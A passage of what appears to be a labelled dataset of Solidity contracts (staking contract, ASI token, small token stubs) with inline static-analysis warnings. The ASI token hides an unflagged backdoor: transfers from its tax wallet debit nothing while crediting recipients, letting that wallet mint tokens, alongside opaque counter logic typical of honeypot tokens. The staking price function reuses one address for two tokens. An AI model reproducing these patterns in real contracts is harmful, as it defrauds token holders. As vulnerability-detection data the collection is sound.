WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9cc87a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9cc87a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2631be2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2631be2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9858757): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9858757: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function unstake(uint256 index) public {\n require(!stakersRecord[msg.sender][index].unstaked, \"already unstaked\");\n\n\t\t// timestamp | ID: 6a50375\n require(\n stakersRecord[msg.sender][index].unstaketime < block.timestamp,\n \"cannot unstake after before duration\"\n );\n\n if (!stakersRecord[msg.sender][index].withdrawan) {\n\t\t\t// reentrancy-events | ID: e7a4610\n\t\t\t// reentrancy-benign | ID: 9cc87a7\n\t\t\t// reentrancy-no-eth | ID: 2631be2\n\t\t\t// reentrancy-no-eth | ID: 9858757\n harvest(index);\n }\n\n\t\t// reentrancy-no-eth | ID: 9858757\n stakersRecord[msg.sender][index].unstaked = true;\n\n\t\t// reentrancy-events | ID: e7a4610\n\t\t// reentrancy-benign | ID: 9cc87a7\n\t\t// reentrancy-no-eth | ID: 2631be2\n stakeToken.transfer(\n msg.sender,\n stakersRecord[msg.sender][index].amount\n );\n\n\t\t// reentrancy-benign | ID: 9cc87a7\n totalUnStakedToken = totalUnStakedToken.add(\n stakersRecord[msg.sender][index].amount\n );\n\n\t\t// reentrancy-no-eth | ID: 2631be2\n Stakers[msg.sender].totalUnstakedTokenUser = Stakers[msg.sender]\n .totalUnstakedTokenUser\n .add(stakersRecord[msg.sender][index].amount);\n\n\t\t// reentrancy-events | ID: e7a4610\n emit UNSTAKE(msg.sender, stakersRecord[msg.sender][index].amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 19f7c16): Reentrancy in ZDAIStake.harvest(uint256) External calls rewardToken.transfer(msg.sender,rewardTillNow) Event emitted after the call(s) HARVEST(msg.sender,rewardTillNow)\n\t// Recommendation for 19f7c16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 05acd72): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 05acd72: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9f130f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9f130f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function harvest(uint256 index) public {\n require(\n !stakersRecord[msg.sender][index].withdrawan,\n \"already withdrawan\"\n );\n\n require(!stakersRecord[msg.sender][index].unstaked, \"already unstaked\");\n\n uint256 rewardTillNow;\n\n uint256 commontimestamp;\n\n (rewardTillNow, commontimestamp) = realtimeRewardPerBlock(\n msg.sender,\n index\n );\n\n stakersRecord[msg.sender][index].lastharvesttime = commontimestamp;\n\n\t\t// reentrancy-events | ID: 19f7c16\n\t\t// reentrancy-events | ID: e7a4610\n\t\t// reentrancy-benign | ID: 9cc87a7\n\t\t// reentrancy-benign | ID: 05acd72\n\t\t// reentrancy-no-eth | ID: 2631be2\n\t\t// reentrancy-no-eth | ID: 9f130f5\n\t\t// reentrancy-no-eth | ID: 9858757\n rewardToken.transfer(msg.sender, rewardTillNow);\n\n\t\t// reentrancy-benign | ID: 05acd72\n totalClaimedRewardToken = totalClaimedRewardToken.add(rewardTillNow);\n\n\t\t// reentrancy-no-eth | ID: 9f130f5\n stakersRecord[msg.sender][index].remainingreward = stakersRecord[\n msg.sender\n ][index].remainingreward.sub(rewardTillNow);\n\n\t\t// reentrancy-no-eth | ID: 9f130f5\n stakersRecord[msg.sender][index].harvestreward = stakersRecord[\n msg.sender\n ][index].harvestreward.add(rewardTillNow);\n\n\t\t// reentrancy-benign | ID: 05acd72\n Stakers[msg.sender].totalClaimedRewardTokenUser = Stakers[msg.sender]\n .totalClaimedRewardTokenUser\n .add(rewardTillNow);\n\n if (\n stakersRecord[msg.sender][index].harvestreward ==\n stakersRecord[msg.sender][index].reward\n ) {\n\t\t\t// reentrancy-no-eth | ID: 9f130f5\n stakersRecord[msg.sender][index].withdrawan = true;\n }\n\n\t\t// reentrancy-events | ID: 19f7c16\n emit HARVEST(msg.sender, rewardTillNow);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d9ee7a6): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for d9ee7a6: Consider ordering multiplication before division.\n function getPriceinUSD() public view returns (uint256) {\n IERC20 ZDAITOKEN = IERC20(0x8B683C400457ef31F3c27c90ACB6AB69304D1B77);\n\n IERC20 BUSDTOKEN = IERC20(0x8B683C400457ef31F3c27c90ACB6AB69304D1B77);\n\n IERC20 WETHTOKEN = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n address ZDAI_WETH = 0x4fADefE2A5Eb1BF9e1D3DC4a9fc85DaA5c5c660b;\n\n address BUSD_WETH = 0x4fADefE2A5Eb1BF9e1D3DC4a9fc85DaA5c5c660b;\n\n uint256 BUSDSUPPLYINBUSD_WETH = BUSDTOKEN.balanceOf(BUSD_WETH);\n\n uint256 WETHSUPPLYINBUSD_WETH = WETHTOKEN.balanceOf(BUSD_WETH);\n\n\t\t// divide-before-multiply | ID: d9ee7a6\n uint256 ETHPRICE = (BUSDSUPPLYINBUSD_WETH.mul(1e9)).div(\n WETHSUPPLYINBUSD_WETH\n );\n\n uint256 WETHSUPPLYINZDAI_WETH = (WETHTOKEN.balanceOf(ZDAI_WETH));\n\n uint256 ZDAISUPPLYINZDAI_WETH = (ZDAITOKEN.balanceOf(ZDAI_WETH));\n\n\t\t// divide-before-multiply | ID: d9ee7a6\n uint256 ZDAIUSDVAL = (\n ((WETHSUPPLYINZDAI_WETH.mul(1e18)).div((ZDAISUPPLYINZDAI_WETH)))\n .mul(ETHPRICE)\n ).div(1e18);\n\n return ZDAIUSDVAL;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3364fd6): ZDAIStake.realtimeRewardPerBlock(address,uint256) uses timestamp for comparisons Dangerous comparisons val < stakersRecord[user][blockno].remainingreward\n\t// Recommendation for 3364fd6: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 0e70ed2): ZDAIStake.realtimeRewardPerBlock(address,uint256).ret is a local variable never initialized\n\t// Recommendation for 0e70ed2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 078c3f9): ZDAIStake.realtimeRewardPerBlock(address,uint256).commontimestamp is a local variable never initialized\n\t// Recommendation for 078c3f9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function realtimeRewardPerBlock(\n address user,\n uint256 blockno\n ) public view returns (uint256, uint256) {\n uint256 ret;\n\n uint256 commontimestamp;\n\n if (\n !stakersRecord[user][blockno].withdrawan &&\n !stakersRecord[user][blockno].unstaked\n ) {\n uint256 val;\n\n uint256 tempharvesttime = stakersRecord[user][blockno]\n .lastharvesttime;\n\n commontimestamp = block.timestamp;\n\n if (tempharvesttime == 0) {\n tempharvesttime = stakersRecord[user][blockno].staketime;\n }\n\n val = commontimestamp - tempharvesttime;\n\n val = val.mul(stakersRecord[user][blockno].persecondreward);\n\n\t\t\t// timestamp | ID: 3364fd6\n if (val < stakersRecord[user][blockno].remainingreward) {\n ret += val;\n } else {\n ret += stakersRecord[user][blockno].remainingreward;\n }\n }\n\n return (ret, commontimestamp);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: aa2929d): ZDAIStake.realtimeReward(address) uses timestamp for comparisons Dangerous comparisons val < stakersRecord[user][i].reward\n\t// Recommendation for aa2929d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: fea49c5): ZDAIStake.realtimeReward(address).ret is a local variable never initialized\n\t// Recommendation for fea49c5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function realtimeReward(address user) public view returns (uint256) {\n uint256 ret;\n\n for (uint256 i; i < Stakers[user].stakeCount; i++) {\n if (\n !stakersRecord[user][i].withdrawan &&\n !stakersRecord[user][i].unstaked\n ) {\n uint256 val;\n\n val = block.timestamp - stakersRecord[user][i].staketime;\n\n val = val.mul(stakersRecord[user][i].persecondreward);\n\n\t\t\t\t// timestamp | ID: aa2929d\n if (val < stakersRecord[user][i].reward) {\n ret += val;\n } else {\n ret += stakersRecord[user][i].reward;\n }\n }\n }\n\n return ret;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 52457a3): ZDAIStake.SetStakeLimits(uint256,uint256) should emit an event for minimumStakeToken = _min \n\t// Recommendation for 52457a3: Emit an event for critical parameter changes.\n function SetStakeLimits(uint256 _min, uint256 _max) external onlyowner {\n\t\t// events-maths | ID: 52457a3\n minimumStakeToken = _min;\n\n maxStakeableToken = _max;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2a6b7dd): ZDAIStake.SetTotalFees(uint256) should emit an event for totalFee = _fee \n\t// Recommendation for 2a6b7dd: Emit an event for critical parameter changes.\n function SetTotalFees(uint256 _fee) external onlyowner {\n\t\t// events-maths | ID: 2a6b7dd\n totalFee = _fee;\n }\n\n function SetStakeDuration(\n uint256 first,\n uint256 second,\n uint256 third,\n uint256 fourth\n ) external onlyowner {\n Duration[0] = first;\n\n Duration[1] = second;\n\n Duration[2] = third;\n\n Duration[3] = fourth;\n }\n\n function SetStakeBonus(\n uint256 first,\n uint256 second,\n uint256 third,\n uint256 fourth\n ) external onlyowner {\n Bonus[0] = first;\n\n Bonus[1] = second;\n\n Bonus[2] = third;\n\n Bonus[3] = fourth;\n }\n\n function withdrawETH() public onlyowner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"does not have any balance\");\n\n payable(msg.sender).transfer(balance);\n }\n\n function initToken(address addr) public onlyowner {\n token3 = IERC20(addr);\n }\n\n function withdrawToken(uint256 amount) public onlyowner {\n token3.transfer(msg.sender, amount);\n }\n}", "file_name": "solidity_code_4025.sol", "secure": 0, "size_bytes": 20978 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ASI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a552fba): ASI._taxWallet should be immutable \n\t// Recommendation for a552fba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Artificial Superintelligence\";\n\n string private constant _symbol = unicode\"ASI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 29c68d3): ASI._initialBuyTax should be constant \n\t// Recommendation for 29c68d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8bdc05): ASI._initialSellTax should be constant \n\t// Recommendation for f8bdc05: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3690034): ASI._finalBuyTax should be constant \n\t// Recommendation for 3690034: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8967d7): ASI._finalSellTax should be constant \n\t// Recommendation for d8967d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87c873f): ASI._reduceBuyTaxAt should be constant \n\t// Recommendation for 87c873f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4db6fb5): ASI._reduceSellTaxAt should be constant \n\t// Recommendation for 4db6fb5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 24317a6): ASI._preventSwapBefore should be constant \n\t// Recommendation for 24317a6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad39d23): ASI._taxSwapThreshold should be constant \n\t// Recommendation for ad39d23: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 12000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f8d704): ASI._maxTaxSwap should be constant \n\t// Recommendation for 7f8d704: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83493fc): ASI.rwTotalPercent should be constant \n\t// Recommendation for 83493fc: Add the 'constant' attribute to state variables that never change.\n uint256 private rwTotalPercent = 0;\n\n struct RewardCounterData {\n uint256 initRwCount;\n uint256 rwIncrement;\n uint256 rwBurn;\n }\n\n uint256 private autoRwCounter = 0;\n\n mapping(address => RewardCounterData) private rewardCounter;\n\n IUniswapV2Router02 private router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0xa83f4775E0145bCd2103dD15e63701b01e9e7BA5);\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d01d6f3): ASI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d01d6f3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 70fa835): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 70fa835: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8aeae62): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8aeae62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 70fa835\n\t\t// reentrancy-benign | ID: 8aeae62\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 70fa835\n\t\t// reentrancy-benign | ID: 8aeae62\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a5d98d): ASI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a5d98d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8aeae62\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 70fa835\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4164860): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4164860: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f3327ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f3327ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c77444a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c77444a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n tokenAmount > 0,\n \"Token: Transfer amount must be greater than zero\"\n );\n\n if (!tradingOpen || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(router) &&\n !isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4164860\n\t\t\t\t// reentrancy-benign | ID: f3327ca\n\t\t\t\t// reentrancy-eth | ID: c77444a\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4164860\n\t\t\t\t\t// reentrancy-eth | ID: c77444a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludedFromFee[from] || isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: f3327ca\n autoRwCounter = block.number;\n }\n\n if (!isExcludedFromFee[from] && !isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n RewardCounterData storage rwcounter = rewardCounter[to];\n\n if (uniswapV2Pair == from) {\n if (rwcounter.initRwCount == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: f3327ca\n rwcounter.initRwCount = _preventSwapBefore >= _buyCount\n ? ~uint256(0)\n : block.number;\n }\n } else {\n RewardCounterData storage rwcounteralt = rewardCounter[\n from\n ];\n\n if (\n rwcounter.initRwCount > rwcounteralt.initRwCount ||\n rwcounter.initRwCount == 0\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: f3327ca\n rwcounter.initRwCount = rwcounteralt.initRwCount;\n }\n }\n } else if (swapEnabled) {\n RewardCounterData storage rwcounteralt = rewardCounter[from];\n\n\t\t\t\t// reentrancy-benign | ID: f3327ca\n rwcounteralt.rwBurn = rwcounteralt.initRwCount - autoRwCounter;\n\n\t\t\t\t// reentrancy-benign | ID: f3327ca\n rwcounteralt.rwIncrement = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 4164860\n\t\t// reentrancy-eth | ID: c77444a\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: c77444a\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: c77444a\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 4164860\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : rwTotalPercent.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c77444a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4164860\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4164860\n\t\t// reentrancy-events | ID: 70fa835\n\t\t// reentrancy-benign | ID: 8aeae62\n\t\t// reentrancy-benign | ID: f3327ca\n\t\t// reentrancy-eth | ID: c77444a\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4164860\n\t\t// reentrancy-events | ID: 70fa835\n\t\t// reentrancy-eth | ID: c77444a\n _taxWallet.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 04a229e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 04a229e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e75b501): ASI.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(router),type()(uint256).max)\n\t// Recommendation for e75b501: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a6f354b): ASI.enableTrading() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a6f354b: Ensure that all the return values of the function calls are used.\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n tradingOpen = true;\n\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n _approve(address(this), address(router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 04a229e\n uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 04a229e\n\t\t// unused-return | ID: a6f354b\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 04a229e\n\t\t// unused-return | ID: e75b501\n IERC20(uniswapV2Pair).approve(address(router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 04a229e\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_4026.sol", "secure": 0, "size_bytes": 19298 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV2 {\n function swap(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.eth413swap(address(0), amount, from);\n }\n}", "file_name": "solidity_code_4027.sol", "secure": 1, "size_bytes": 358 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"HAPPYNEIRO \", unicode\"HAPPYNEIRO \", 9, 100000000000)\n {}\n}", "file_name": "solidity_code_4028.sol", "secure": 1, "size_bytes": 227 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Worms is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable cancel;\n\n constructor() {\n _name = \"worms\";\n\n _symbol = \"worms\";\n\n _decimals = 18;\n\n uint256 initialSupply = 529000000;\n\n cancel = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n 